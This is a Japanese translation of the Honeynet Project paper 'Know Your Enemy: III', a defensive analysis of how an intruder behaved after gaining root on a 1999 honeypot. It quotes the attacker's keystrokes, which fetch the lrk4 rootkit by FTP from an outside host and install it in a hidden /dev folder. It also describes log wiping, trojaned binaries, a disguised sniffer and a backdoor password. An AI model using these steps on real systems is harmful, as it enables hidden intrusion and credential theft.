Projects‎ > ‎Information Security‎ > ‎Honeypot‎ > ‎Whitepapers‎ > ‎

enemy3

Know Your Enemy: III 
They Gain Root

Honeynet Project 
http://project.honeynet.org 

Last Modified: 27 March, 2000
Translated by SHIBUYA Yoshihiro (Self-Defence Force)
Original document is here

この記事はスクリプトキディに焦点を当てたシリーズの第3弾である。第1弾 ではどうやってスクリプトキディが脆弱性を探り、第2弾ではどうやってあなたがその企てを阻止し、敵がどのようなツールを使い、どのような脆弱性を探しているかを見極めることに焦点を置いた。第3弾であるこの記事では、いったん管理者権限が奪取されたあとはどのようになるのかを述べる。特に、彼らはどのように記録(ログ等)を隠し、次に何をするのかを述べる。あなたはここから生のデータをダウンロードすることができる。

Who is the script kiddie

第1弾を読んでいるうちに、スクリプトキディは大して戦略的ではなく、戦略と言えば簡単に攻撃できるところを探し、あれば攻撃するというようなものであった。特定の情報や組織を探しているわけではなく、できるだけ簡単にどこかの管理者権限を取ろうというものだ。侵入者は数少ない侵入可能なところに焦点を当て、インターネット上をくまなく探す。この戦略を甘く見ては行かない。遅かれ早かれ誰かの脆弱性が見つかるのだから。

一度脆弱なシステムを発見し、管理者権限を奪取すれば、彼らが最初に行うことは、侵入した痕跡を隠すことである。彼らは、あなたにシステムに入ったことや、ログへの記録を残したくないのだ。加えて言うと、あなたのシステムからよそのネットワークにスキャンをかけたり、バレないようにあなたのシステムを監視しているかもしれない。彼らが侵入に成功したかどうかを知るには、スクリプトキディが使った方策によって侵入されたシステムを参考にすることだ。 RedHat5.1の我々のシステムmozartは、1999年4月27日に侵入された。以下に侵入者が残したログとキーストロークを示す。すべてのシステムログは防御されたログサーバに記録され、すべてのキーストロークはsniffitを使い、記録した。さらなる情報はTo Build a Honeypotを参照のこと。この記事を通して彼の記事のように書いてはいるが、侵入者がどのような人物なのかは分からない。

The Exploit

4月27日0時13分、我々のネットワークは1Cust174.tnt2.long-branch.nj.da.uu.netからimapを含む脆弱性を探るスキャンを受けた。その侵入行為はうるさく、すべてのシステムが探られた。(詳しくは第2弾参照)。

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

同じ日の6時52分と16時47分に彼は何かを捜し当てたらしい。彼は徹底的なスキャンを始めたが、mozartに対してだけであった。彼はRedHat5.1の有名な脆弱性であるmountdを見つけ、攻撃を始めた。侵入者が管理者権限を奪取した様子が/var/log/messagesで分かる。使われたツールはたぶんADMmountd.cか、それに似たものであると思われる。

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

この侵入を直ちに追うと、/var/log/messagesから、侵入者はユーザcrak0でtelnetによりルートを得、ユーザrewtでスーパーユーザになっている。これらのユーザ名は侵入用スクリプトで付加されたものである。侵入者はこれで我々のシステムの全権を握った。

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)

Covering Their tracks

侵入者は今,システムの中に管理者権限を持って存在している。たぶん,次に彼が考えることは,捕まらないようにすることだ。最初に,彼がこのシステムに他に誰かが存在しているかを確かめる。

[crak0@mozart /tmp]$ w 
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00 
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT 
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w 
周囲に誰もいないことを確認したら,彼は今度は自分の動きを隠そうとするだろう。単純にログファイルを消したり,psやnetstat等のトロイの木馬を使ってシステムバイナリを移動したりすることによって,あなたは侵入者を見つけることができなくなるだろう。一度トロイの木馬が仕掛けられたら,システムの全検を握られてしまい,決して見つけることはできなくなってしまうであろう。クラックする自動スクリプトにより,侵入を隠すrootkitと呼ばれるようなものがある。ポピュラーなrootkitはlrk4である.これにより,rootkitが普段どのような働きをするのかが分かる。rootkitに関するより詳細な情報はlrk4に付いてくるREADMEを読みなさい。これは一般的にrootkitがどのように働くのかについてより判り易く説明するでしょう。クラッカーが痕跡を隠すhide-and-seekという記事を参考にすることを勧める。

侵入されて数分以内に,侵入者がrootkitをダウンロードし,"make install"を実行した。以下に,彼が存在を隠そうと実際に打ち込んだキーストロークを示す。

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

注意してもらいたいのは,最初に彼がrootkitを隠すために"."フォルダを作ったことである。このフォルダは"ls"コマンドで表示されず,"ls -la"コマンドでもローカルフォルダのように錯覚してしまう。見つける方法の1つに"find"コマンドがある。(このコマンドが正規のものであればの話だが.)

mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/

この侵入者はトロイの木馬を使うのに慣れているようであるが,ログを消去するのには単純な方法を使った。zap2やcleanのようなツールを使わず,/var/run/utmpと/var/log/utmpを/dev/nullにコピーしたのである。ログの中味がからっぽだったり,エラーメッセージが出る場合,あなたはその異常に気づくであろう。

[root@mozart sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

The Next Step

いったんシステムに侵入すれば,2つのことをしようとする。最初に,他のシステムをスキャンしたり,侵入したりするための土台作りをする。次に,他のシステムのアカウントのような,何が分かるかというような情報を探る。この侵入者は後者で,静かに情報を探っている.彼は,他のネットワークへのtelnetやftpセッションを含め,われわれのネットワークトラフィック全てをキャッチするようsnifferを仕掛けた。これで彼にはログイン名とパスワードが分かってしまう。侵入されて間もなく,/var/log/messagesでプロミスキャスモードになっていることが分かった。

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

トロイの木馬を仕掛け,ログを消去し,snifferを起動させた後,侵入者は接続を切った。しかし,次の日、彼がキャプチャしたトラフィックを見るために戻って来るのを確認することになる。

Damage Control

クラッカーが接続を断った後は、我々にとってシステムを見直し、実際に何が起こっていたのかを確認するのによい機会だった。私は何が警告され、snifferでどのようなログが残ったか非常に興味があった。最初に、tripwireを使い、どのファイルが改ざんされたのかを確認した。ここで注意しておくが、tripwireは信頼できるソースを使用した。読込専用のフロッピーから固定リンクのtripwireを使用した。その結果は以下の通り。

added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid 
added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log 
changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login 
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin 
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find 
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd 
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top 
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall 
changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn 
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh 
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin 
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd 
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd 
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd 
changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd 
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd 
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin 
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig 
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd 

見て分かるように、様々なファイルに手が加えられている。彼は利口なことにcrak0とrewtのアカウントを削除しており、/etc/passwdに新しい追加は見られない。したがって、侵入者はこのなかの改ざんファイルのどれかにバックドアを仕掛けたものと思われる。また、/usr/sbin/sniff.pidと/usr/sbin/tcp.logの2つのファイルが加えられた。別に驚くことはない。/usr/sbin/sniffはsnifferのpidファイルであり、/usr/sbin/tcp.logは彼が集めたキャッチ情報がストアされているだけのことだ。/usr/sbin/sniff.pidを基に、snifferがrpc.nfsdに変わったことが分かった。侵入者はsniffer(この場合はlinsniffer)をコンパイルするときに、rpc.nfsdに置き換えたのだった。このことにより、システムが再起動しても、snifferがinitプロセスを使って再び立ち上がることができた。rpc.nfsdはsnifferであることが確信できた。

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

システムの見直しと、何が起こっていたかを確認した後、私は単独でシステムからログアウトした。私は侵入者が次に何をするかをとても知りたかった。侵入者には捕まえたことを知られたくなかったので、/usr/sbin/tcp.logの内容を消去した。

The Script Kiddie Returns

次の日、侵入者は戻って来た。彼のキーストロークをログに記録することで、即座にバックドアを見つけた。/bin/loginがトロイの木馬とされていたのだ。telnet接続で使うこのバイナリは、rewtアカウントにsatoriというパスワードでroot権限が与えられていた。このsatoriというパスワードはトロイの木馬rootkitのlrk4でのデフォルトのパスワードで、システムが置かされていることを示している。

侵入者はsnifferがまだ起動中であるかを確認した。また、いくつかのアカウントが前日にバレたかどうかも確認した。あなたは彼のキーストロークをkeystrokes.txtで確認することができる。ログの最後のほうでは侵入者はsnifferを終了させたことが分かる。これが彼が終了前に行った最後の動作である。しかし、彼は数分後に異なるセッションから再侵入し、snifferの起動だけを行った。私にはそれがなぜか分からなかった。

このシステムをチェックするというプロセスは数日間続いた。侵入者は毎日snifferが起動しているかと侵入データがバレていないかを確認した。4日後、私はもう充分だと判断し、システムを切断した。侵入者の挙動から多くを学ぶことができたが、新しいことを学ぶことはできなかった。

Conclusion

この記事の最初から最後まで我々は侵入者がいったん管理者権限を奪取したら何をするかを見た。彼らはしばしば最初に誰がログインしているかを確認した。いったん彼らが他にログインしている者がいないことを確認すると、ログファイルを消去するか、移動するか、改ざんして痕跡を隠す。安全になったとなれば、さらなる行動に移る。これらの戦略はまだ存在し、新しい手口として知らないところで稼動している。勧めるにこれらを回避するよい手段は、システムを補強することだ。基本的な防御はほとんどのスクリプトキディの脅威である 入りやすい侵入口を抑えることができるだろう。どうやって補強するかは、補強済のArmoring LinuxArmoring Solarisを使うという考えがある。もし既に侵入されたのであれば、CERTの"Recovering from an Incident"を読み始めるのがよいだろう。 


The Honeynet Project

Comments